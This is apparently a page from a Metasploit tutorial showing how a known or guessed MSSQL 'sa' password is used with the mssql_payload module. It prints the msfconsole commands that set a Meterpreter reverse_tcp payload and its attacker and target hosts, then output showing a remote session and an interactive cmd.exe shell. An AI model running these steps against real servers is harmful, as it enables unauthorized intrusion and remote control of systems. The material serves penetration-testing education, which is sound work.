

Payloads Through MSSQL a11y.text Payloads Through MSSQL In the previous section, we created a very basic module to get a better understanding of the principles behind a build. This section briefly explains passing payloads using the MSSQL module. The code presented currently works on the following installations of Microsoft™s SQL Server: 2000, 2005, and 2008. We will first walk through the code and explain how this attack vector works before making our own from the ground up. When an administrator first installs MSSQL, they have the option of using either mixed-mode authentication or SQL-based authentication. Using the latter, a password for the “sa”™ account must be specified by the administrator. The “sa”™ account is the systems administrator for the SQL server and has most, if not all, permissions on the system. Guessing this password, either using social engineering or other means, one can leverage this attack vector using Metasploit and perform additional actions. In a previous module, we discussed discovering which TCP port MSSQL is using by querying UDP port 1434 and executing dictionary attacks for guessing the “sa”™ password. For our purposes, we™ll assume we are aware of the SQL system administrator™s account password. If you wish to recreate this attack, you will need to have a working copy of Microsoft Windows as well as any of the previously mentioned versions of MSSQL. Let™s launch the attack: msf > use windows/mssql/mssql_payload

```
msf exploit(mssql_payload) > options
```

Module options (exploit/windows/mssql/mssql_payload):

Name	Current Setting	Required	Description
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METHOD	cmd	yes	Which payload delivery method to use (ps, cmd, or old)
PASSWORD		no	The password for the specified username
RHOST		yes	The target address
RPORT	1433	yes	The target port (TCP)

SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TDSENCRYPTION	false	yes	Use TLS/SSL for TDS data "Force Encryption"
URIPATH		no	The URI to use for this exploit (default is random)
USERNAME	sa	no	The username to authenticate as
USE_WINDOWS_AUTHENT	false	yes	Use windows authentication (requires DOMAIN option set)

Exploit target:

Id Name

-- ----

0 Automatic

```
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
```

```
payload => windows/meterpreter/reverse_tcp
```

```
msf exploit(mssql_payload) > set LHOST 10.10.1.103
```

```
LHOST => 10.10.1.103
```

```
msf exploit(mssql_payload) > set RHOST 172.16.153.129
```

```
RHOST => 172.16.153.129
```

```
msf exploit(mssql_payload) > set LPORT 8080
```

LPORT => 8080

msf exploit(mssql_payload) > set PASSWORD ihazpassword

MSSQL_PASS => ihazpassword

msf exploit(mssql_payload) > exploit

[*] Started reverse handler on port 8080

[*] Warning: This module will leave QiRYOIUK.exe in the SQL Server %TEMP% directory

[*] Writing the debug.com loader to the disk...

[*] Converting the debug script to an executable...

[*] Uploading the payload, please be patient...

[*] Converting the encoded payload...

[*] Executing the payload...

[*] Sending stage (719360 bytes)

[*] Meterpreter session 1 opened (10.10.1.103:8080 -> 10.10.1.103:47384)

meterpreter > execute -f cmd.exe -i

Process 3740 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

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C:\WINDOWS\system32> Next Creating Our Auxiliary Module Prev Building A Module